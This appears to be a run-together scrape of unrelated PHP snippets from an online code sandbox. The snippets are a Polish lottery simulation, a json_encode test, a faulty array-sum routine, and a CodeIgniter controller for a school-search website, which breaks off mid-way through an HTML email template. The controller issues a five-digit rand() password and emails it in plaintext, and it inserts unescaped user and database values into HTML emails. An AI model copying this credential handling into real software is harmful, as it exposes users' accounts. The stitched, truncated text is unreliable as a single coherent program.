<?php $liczby=[1,11,27,37,9,49]; echo "Twoje liczby: "; foreach($liczby as $shot){ echo $shot." "; } $liczbaWygranych =0; $maxWin=0; $stats=[]; for($j=0;$j<49;$j++) { $stats[]=0; } for($i=0;$i<10;$i++) { $trafienia = 0; $wylosowaneLiczby=[rand(1,49)]; while(count($wylosowaneLiczby)<6) { $nowaLiczba=rand(1,49); if(!in_array($nowaLiczba,$wylosowaneLiczby)) { $wylosowaneLiczby[]=$nowaLiczba; } } echo PHP_EOL."Wylosowane liczby: "; foreach($wylosowaneLiczby as $los){ echo $los." "; $stats[$los-1]++; } foreach($liczby as $liczba) { if(in_array($liczba,$wylosowaneLiczby)) { $trafienia++; } } echo PHP_EOL."Liczba trafień: $trafienia".PHP_EOL; if($trafienia>2) { $liczbaWygranych++; if($trafienia>$maxWin) { $maxWin=$trafienia; } } } echo PHP_EOL."Wygrane: $liczbaWygranych"; if($maxWin>0) { echo PHP_EOL."Największa wygrana: $maxWin"; } echo PHP_EOL."Statystyki:".PHP_EOL; $counter = 1; foreach($stats as $stat) { echo "$counter = $stat".PHP_EOL; $counter++; } ?>

why_json_encode

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $a = json_decode(json_encode(["a"=>["b"=>1]],JSON_FORCE_OBJECT)); print_r($a); $b=(object)["a"=>["b"=>1]]; print_r($b); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <form action="PHP_SELF" method="POST"> <input type="text" name="email"> </form> <?php $a=$_POST["email"]; if(!isset($a)) echo "Email cannot be empty"; ?> </body> </html>

ritul code

<?php $array = array(10, 22, 28, 29, 30, 40); $importVal = 54; $sumOf = array(54); foreach($array as $arrayFrist){ $tempVal = $arrayFrist; foreach($array as $arrayLast){ if($tempVal != $arrayLast){ $total = $arrayLast + $tempVal; if(!in_array($total,$sumOf)){ $sumOf[] = $total; } } } } rsort($sumOf); $result = array_search($importVal,$sumOf); //echo $result; print_r($sumOf); if($result != 0){ $firstEvelementKey = $result - 1; $lastEvelementKey = $result + 1; $firstDiff = $firstEvelementKey -$result; $lastDiff = $result - $lastEvelementKey; if($firstDiff > $lastDiff){ echo $sumOf[$firstEvelementKey]; }else{ echo $sumOf[$lastEvelementKey]; } } ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php class Front extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('front_model'); $this->load->model('common_model'); $this->load->helper('text'); } public function index() { $data['desk1'] = $this->front_model->getSchoolDeskData(4, 0); $data['desk2'] = $this->front_model->getSchoolDeskData(4, 4); $data['latestnews1'] = $this->front_model->getEductionalNews(4, 0); $data['latestnews2'] = $this->front_model->getEductionalNews(4, 4); $data['latestevent1'] = $this->front_model->getEductionalEvent(4, 0); $data['latestevent2'] = $this->front_model->getEductionalEvent(4, 4); $data['homebanner'] = $this->front_model->getHomeBanner(); $data['homevideo'] = $this->front_model->getHomeVideo(); $data['topschools1'] = $this->front_model->getTopSchools(4, 0); $data['topschools2'] = $this->front_model->getTopSchools(4, 4); $data['states'] = $this->common_model->getStates(); $data['category'] = $this->common_model->getAllCategory(); $data['sibling'] = $this->front_model->getSiblingDetails($this->session->userdata('userid')); $this->load->view('front/header'); $this->load->view('front/home', $data); $this->load->view('front/footer', $data); } public function studentsignin() { //print_r($_POST);die; $email = $this->input->post('userid'); $pass = $this->input->post('password'); $res = $this->front_model->validateLogin($email, $pass); if (count($res)>0) { $newdata = array ( 'username' => $res->username, 'email' => $res->email, 'userid' => $res->id, 'role' => $res->role, 'logged_in' => TRUE ); $this->session->set_userdata($newdata); $this->session->set_flashdata('msg', 'Student logged in succesully'); redirect('Front/index'); } else { $this->session->set_flashdata('msg', 'Please enter valid username and password'); redirect('Front/index'); } } public function schoolsignin() { //print_r($_POST);die; $email = $this->input->post('userid'); $pass = $this->input->post('password'); $res = $this->front_model->validateschool($email, $pass); if (count($res)>0) { $newdata = array ( 'username' => $res->username, 'email' => $res->email, 'userid' => $res->id, 'role' => $res->role, 'logged_in' => TRUE ); $this->session->set_userdata($newdata); $this->session->set_flashdata('msg', 'School logged in succesully'); redirect('Front/index'); } else { $this->session->set_flashdata('msg', 'Please enter valid username and password'); redirect('Front/index'); } } public function studentRegister() { //print_r($_POST);die; $email = $this->input->post('email'); $mobile = $this->input->post('mobile'); $name = $this->input->post('name'); $pass = rand(10000, 99999); $res = $this->front_model->studentRegister($name, $email, $mobile, $pass); if ($res ==true) { $msg = '<html><head><style type="text/css">#outlook a{padding:0}.ReadMsgBody{width:100%}.ExternalClass{width:100%}.ExternalClass{line-height:100%}.ExternalClass p{line-height:100%}.ExternalClass span{line-height:100%}.ExternalClass font{line-height:100%}.ExternalClass td{line-height:100%}.ExternalClass div{line-height:100%}body{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}table{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}td{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}p{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}a{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}li{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}blockquote{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}table{mso-table-lspace:0pt;mso-table-rspace:0pt}td{mso-table-lspace:0pt;mso-table-rspace:0pt}img{-ms-interpolation-mode:bicubic}body{margin:0;padding:0}img{border:0;height:auto;line-height:100%;outline:none;text-decoration:none}table{border-collapse:collapse !important}body{height:100% !important;margin:0;padding:0;width:100% !important}#bodyTable{height:100% !important;margin:0;padding:0;width:100% !important}#bodyCell{height:100% !important;margin:0;padding:0;width:100% !important}@media only screen and (max-width: 640px){body{width:auto!important}table[class="container"]{width:100%!important;padding-left:20px!important;padding-right:20px!important}table[class="body"]{width:100%!important}table[class="row"]{width:100% !important}td[class="side-pad"]{padding-left:20px !important;padding-right:20px !important}.img-responsive{width:100% !important}.img-center{margin:0 auto !important}}@media only screen and (max-width: 589px){table[class="body"] .collapse{width:100% !important}table[class="body"] .column{width:100% !important;display:block !important}.center{text-align:center !important}table[class="body"] .logo{margin-bottom:10px}table[class="body"] .remove{display:none !important}}</style></head><body bgcolor="#DDDDDD"><table border="0" cellpadding="0" cellspacing="0" style="background-color: #DDDDDD" width="100%"><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="body" style="border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt;" width="640"><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="20">&nbsp;</td></tr><tr><td valign="middle"><table align="left" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td><img alt=" class="logo" height="21" src="' . base_url() . 'assets/front/img-email/logo.jpg" width="135"></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="5" valign="top">&nbsp;</td></tr><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left" class="column" valign="top" width="280"><table border="0" cellpadding="0" cellspacing="0" class="collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td><img class="img-responsive" src="' . base_url() . 'assets/front/img-email/schooljano-banner.png" style="display: block;"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #333;"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="5">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td height="30"></td></tr><tr><td class="center" style="font-size:22px; color:#363B40; text-align:center; line-height: normal;">Welcome to SchoolJano<tr><td height="30"></td></tr><tr><td class="center" style="font-size:16px; color:#363B40; font-weight:normal; text-align:left; line-height: 26px;" valign="top">Dear User,' . $name . '</td></tr><tr><td height="15"></td></tr><tr><td class="center" style="font-size:16px; color:#4e4e4e; font-weight:500; text-align:left; line-height:20px;" valign="top">Thank you very much for joining us, "Schooljeno.com" is a great search engine for learning the school in India, where you can search, compare & view details of school.</td></tr><tr><td height="30"></td></tr><tr><td valign="top" width="100%"><table width="100%" border="1" cellpadding="0" cellspacing="0" class="collapse" style="background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan="2" style="padding: 5px; background-color: #f7c52d; color: #5a5a5a; font-size:15px; font-weight:bold;">User Login Details</td></tr><tr><td colspan="2" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#7a7a7a; font-weight:bold;; width: 200px;">User ID</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#5a5a5a; font-weight:bold;">' . $email . '</td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#7a7a7a; font-weight:bold;;width: 200px;">Password</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#5a5a5a; font-weight:bold;">' . $pass . '</td></tr></table></td></tr><tr><td height="30"></td></tr><tr><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="15">&nbsp;</td></tr><tr><td valign="middle"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left" class="column center" style="color: #333; font-weight: bold; font-size: 16px;" valign="middle" width="440">Click here to know more ..</td><td class="column" width="20">&nbsp;</td><td align="right" class="column center" valign="top" width="140"><table align="right" border="0" cellpadding="0" cellspacing="0" class="collapse center" width="100%"><tr><td align="center" style="background-color: #00b443; border-bottom: 1px solid #008e35; color: #ffffff; display: block; font-size: 14px; padding: 8px 18px; vertical-align: middle"><span style="text-decoration:none;color:#ffffff;"><a href="' . base_url() . '" style="text-decoration:none; color:#ffffff !important; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);" target="_blank" title="Click to login"><strong>Login</strong></a></span></td></tr></table></td></tr></table></td></tr><tr><td height="15"></td></tr></table></td></tr></table></td></tr><tr><td height="30"></td></tr><tr><td class="center" style="font-size:14px; color:#4e4e4e; font-weight:normal; text-align:left; line-height:20px;" valign="top">Lorem, tincidunt sed mauris vel, lobortis tempor lorem. Pellentesque ac lacus iaculis erat esa vitae euismod. Condimentum in tortor at, porttitor.</td></tr><tr><td height="30"></td></tr><tr><td class="center" style="font-size:16px; color:#363B40; font-weight:normal; text-align:right;" valign="top">Yours Sincerely</td></tr><tr><td height="10"></td></tr><tr><td class="center" style="font-size:14px; color:#363B40; font-weight:bold; text-align:right;" valign="top">(Team-School Jano)</td></tr><tr><td height="30"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #222222; background-image: url("images/business-bg.jpg");"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="40" valign="top">&nbsp;</td></tr><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td class="center" colspan="3" style="font-size:30px; color:#ffffff; text-align:center; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);">schooljano.com</td></tr><tr><td height="10" width="100%"></td></tr><tr><td class="center" style="font-size:16px; color:#ffffff; font-weight:normal; text-align:center;">India\'s best school search engine</td></tr><tr><td align="center" height="20" valign="top"></td></tr><tr><td align="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0" class="center"><tr><td align="center" style="background-color: #4cae4c; color: #ffffff; display: block; font-size: 16px; padding: 8px 18px; vertical-align: middle"><span style="text-decoration:none;color:#ffffff;"><a href="' . base_url() . '" style="text-decoration:none;color:#ffffff;" target="_blank" title="Click to registered">SIGN-UP</a></span></td></tr></table></td></tr></table></td></tr><tr><td height="40" valign="top">&nbsp;</td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="15" valign="top">&nbsp;</td></tr><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" class="full-width collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td class="center" style="font-size:22px; color:#363B40; font-weight:normal; text-align:center;">Connect With Us</td></tr><tr><td height="15"></td></tr><tr><td align="center" class="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0"><tr><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/facebook.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/twitter.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/linkedin.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/google.png" width="32"></a></td></tr></table></td></tr></table></td></tr><tr><td height="15">&nbsp;</td></tr></table></td></tr></table></td></tr></table></td></tr><tr style="background-color: #414242"><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td align="center" height="20" valign="top">&nbsp;</td></tr><tr><td valign="middle"><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td height="22" style="font-size:13px; font-weight: 500; color: #333;"><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Website : schooljano.com</a></span><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Email Us : info@schooljano.com</a></span><span style="text-decoration:none;color:#333;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Call Us : +91-9369 398 585</a></span></td></tr></table></td></tr><tr><td height="20">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #383939"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="4"></td></tr><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td valign="top"><span style="color:#aaa;font-size:11px;text-decoration:none;">India</span></td></tr></table></td></tr><tr><td height="4"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></body></html>'; $sub = 'New User Created'; $this->sendUserCredentialByEmail($email, $msg, $sub); //die('test'); $this->session->set_flashdata('msg', 'Student created sucessfully. Password sent to your email.'); redirect('Front/index'); } else { $this->session->set_flashdata('msg', 'Student already exist'); redirect('Front/index'); } } public function apply() { //print_r($_POST); //die; $schid = $this->input->post('schoolid'); $class = $this->input->post('class'); $sibling = $this->input->post('sibling'); $date = date('d-m-Y'); $schooldetail = $this->front_model->getSchoolDetail($schid); foreach ($sibling as $row) { $student = $this->front_model->getStudentDetail($row); //print_r($student); //print_r($schooldetail); // die; $msg1 = '<html><title>SchoolJano - Email</title><style type="text/css">#outlook a{padding: 0;}.ReadMsgBody{width: 100%;}.ExternalClass{width: 100%;}.ExternalClass{line-height: 100%;}.ExternalClass p{line-height: 100%;}.ExternalClass span{line-height: 100%;}.ExternalClass font{line-height: 100%;}.ExternalClass td{line-height: 100%;}.ExternalClass div{line-height: 100%;}body{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}table{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}td{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}p{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}a{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}li{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}blockquote{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}table{mso-table-lspace: 0pt;mso-table-rspace: 0pt;}td{mso-table-lspace: 0pt;mso-table-rspace: 0pt;}img{-ms-interpolation-mode: bicubic;}body{margin: 0;padding: 0;}img{border: 0;height: auto;line-height: 100%;outline: none;text-decoration: none;}table{border-collapse: collapse !important;}body{height: 100% !important;margin: 0;padding: 0;width: 100% !important;}#bodyTable{height: 100% !important;margin: 0;padding: 0;width: 100% !important;}#bodyCell{height: 100% !important;margin: 0;padding: 0;width: 100% !important;}@media only screen and (max-width: 640px){body{width: auto!important;}table[class="container"]{width: 100%!important;padding-left: 20px!important;padding-right: 20px!important;}table[class="body"]{width: 100%!important;}table[class="row"]{width: 100% !important;}td[class="side-pad"]{padding-left: 20px !important;padding-right: 20px !important;}.img-responsive{width: 100% !important;}.img-center{margin: 0 auto !important;}}@media only screen and (max-width: 589px){table[class="body"] .collapse{width: 100% !important;}table[class="body"] .column{width: 100% !important;display: block !important;}.center{text-align: center !important;}table[class="body"] .logo{margin-bottom: 10px;}table[class="body"] .remove{display: none !important;}}</style></head><body bgcolor="#DDDDDD"><table border="0" cellpadding="0" cellspacing="0" style="background-color: #DDDDDD" width="100%"><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="body" style="border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt;" width="640"><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="20">&nbsp;</td></tr><tr><td valign="middle"><table align="left" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td><img alt=" class="logo" height="21" src="' . base_url() . 'assets/front/img-email/logo.jpg" width="135"></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="5" valign="top">&nbsp;</td></tr><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left" class="column" valign="top" width="280"><table border="0" cellpadding="0" cellspacing="0" class="collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td><img class="img-responsive" src="' . base_url() . 'assets/front/img-email/schooljano-banner.png" style="display: block;"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #333;"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="5">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td height="30"></td></tr><tr><td class="center" style="font-size:22px; color:#363B40; text-align:center; line-height: normal;">Acknowledgement</td></tr><tr><td height="30"></td></tr><tr><td class="center" style="font-size:16px; color:#363B40; font-weight:normal; text-align:left; line-height: 24px;" valign="top">Dear Guardian,</td></tr><tr><td class="center" style="font-size:14px; color:#363B40; font-weight:normal; text-align:right; padding-right: 5px;" valign="top">Date : ' . $date . '</td></tr><tr><td height="15"></td></tr><tr><td class="center" style="font-size:14px; color:#4e4e4e; font-weight:normal; text-align:left; line-height:20px;" valign="top">You are interested in "' . $schooldetail->school_name . ', (' . $schooldetail->cityname . ', ' . $schooldetail->statename . ')" for your child admission, your application has been emailed to the school.</td></tr><tr><td height="30"></td></tr><tr><td valign="top" width="100%"><table width="100%" border="1" cellpadding="0" cellspacing="0" class="collapse" style="background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan="3" style="padding: 5px; background-color: #f7c52d; color: #3a3a3a; font-size:18px; font-weight: normal;">Student Details</td></tr><tr><td colspan="3" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Student Name</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Date of Birth</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Interested in Class</td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->stu_name . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->dob . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $class . '</td></tr></table></td></tr><tr><td height="15"></td></tr><tr><td valign="top" width="100%"><table width="100%" border="1" cellpadding="0" cellspacing="0" class="collapse" style="background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan="3" style="padding: 5px; background-color: #f7c52d; color: #3a3a3a; font-size:18px; font-weight: normal;">Guardian Details</td></tr><tr><td colspan="3" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Father\'s Name</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Father’s Qualification</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Father’s Occupation</td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_name . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_quali . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_occupation . '</td></tr><tr><td colspan="3" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Mother’s Name</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Mother’s Qualification</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Mother’s Occupation</td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mother_name . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mother_quali . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mother_occupation . '</td></tr><tr><td colspan = "3" height = "6"></td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Nationality</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Social Category</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Domicile</td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->nationality . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->category . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->domicile . '</td></tr></table></td></tr><tr><td height = "15"></td></tr><tr><td valign = "top" width = "100%"><table width = "100%" border = "1" cellpadding = "0" cellspacing = "0" class = "collapse" style = "background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan = "3" style = "padding: 5px; background-color: #f7c52d; color: #3a3a3a; font-size:18px; font-weight: normal;">Contact Details</td></tr><tr><td colspan = "3" height = "6"></td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 300px;">Email ID</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 150px;">Official Phone</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 150px;">Mobile Number</td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_email . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->office_phone . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mobile . '</td></tr><tr><td colspan = "3" height = "6"></td></tr><tr><td colspan = "2" style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 300px;">Present Address</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 150px;">PIN Code</td></tr><tr><td colspan = "2" style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->address . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->pincode . '</td></tr></table></td></tr><tr><td height = "30"></td></tr><tr><td align = "center" class = "side-pad" style = "background-color: #f7c52d"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "container" width = "620"><tr><td align = "center"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "row" width = "600"><tr><td height = "15">&nbsp; </td></tr><tr><td valign = "middle"><table border = "0" cellpadding = "0" cellspacing = "0" width = "100%"><tr><td align = "left" class = "column center" style = "color: #333; font-weight: bold; font-size: 16px;" valign = "middle" width = "440">Please click here to know more about this student</td><td class = "column" width = "20">&nbsp; </td><td align = "right" class = "column center" valign = "top" width = "140"><table align = "right" border = "0" cellpadding = "0" cellspacing = "0" class = "collapse center" width = "100%"><tr><td align = "center" style = "background-color: #00b443; border-bottom: 1px solid #008e35; color: #ffffff; display: block; font-size: 14px; padding: 8px 18px; vertical-align: middle"><span style = "text-decoration:none;color:#ffffff;"><a href = "' . base_url() . '" style = "text-decoration:none; color:#ffffff !important; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);" target = "_blank" title = "Online Student\'s Details"><strong>Know More </strong></a></span></td></tr></table></td></tr></table></td></tr><tr><td height = "15"></td></tr></table></td></tr></table></td></tr><tr><td height = "30"></td></tr><tr><td class = "center" style = "font-size:14px; color:#4e4e4e; font-weight:normal; text-align:left; line-height:20px;" valign = "top">Lorem, tincidunt sed mauris vel, lobortis tempor lorem. Pellentesque ac lacus iaculis erat esa vitae euismod. Condimentum in tortor at, porttitor.</td></tr><tr><td height = "15"></td></tr><tr><td class = "center" style = "font-size:16px; color:#363B40; font-weight:normal; text-align:right;" valign = "top">Yours Sincerely</td></tr><tr><td height = "30"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align = "center" class = "side-pad" style = "background-color: #222222; background-image: url(\'images/business-bg.jpg\');"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "container" width = "620"><tr><td align = "center"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "row" width = "600"><tr><td><table border = "0" cellpadding = "0" cellspacing = "0" width = "100%"><tr><td align = "center" height = "40" valign = "top">&nbsp; </td></tr><tr><td valign = "top"><table align = "left" border = "0" cellpadding = "0" cellspacing = "0" style = "mso-table-lspace:0;mso-table-rspace:0;" width = "100%"><tr><td class = "center" colspan = "3" style = "font-size:30px; color:#ffffff; text-align:center; text-shadow: 0 2px 0 